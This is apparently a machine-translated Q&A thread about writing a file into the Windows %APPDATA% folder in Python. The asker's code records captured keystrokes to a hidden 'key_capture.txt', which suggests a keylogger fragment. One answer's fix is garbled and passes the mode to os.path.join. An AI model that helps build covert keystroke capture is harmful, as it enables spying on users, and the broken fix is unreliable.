繁体   English   中英

如何在%APPDATA%文件夹python中写入文件

[英]How to writea file in %APPDATA% folder python

我正在尝试在%appdata%中写入文件,但是在运行代码时出现此错误:

    with open(os.path.join(key_dir+ "\\key_capture.txt")) as f:
FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Users\\George Mauricio\\AppData\\Local\\key_capture.txt'

这是我正在使用的代码:


from os import path

#there are some in between

def write_file(keys):
    with open(os.path.join(key_dir+ "\\key_capture.txt")) as f:
        for key in keys:
            k = str(key).replace("'","")
            Key.space
            if k.find("space") > 0:
                f.write('\n')
            elif k.find("Key") == -1:
                f.write(k)

1)。 您打开文件的方式错误。
2)。 下面给出了正确的方法。

with open(os.path.join(key_dir,  "key_capture.txt")) as f:

只需以“ a”模式打开即可。 如果文件不存在,则创建该文件。

with open(os.path.join(key_dir+ "\\\\key_capture.txt",'a')) as f:一起使用with open(os.path.join(key_dir+ "\\\\key_capture.txt",'a')) as f:代替open(os.path.join(key_dir+ "\\\\key_capture.txt")) as f:

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM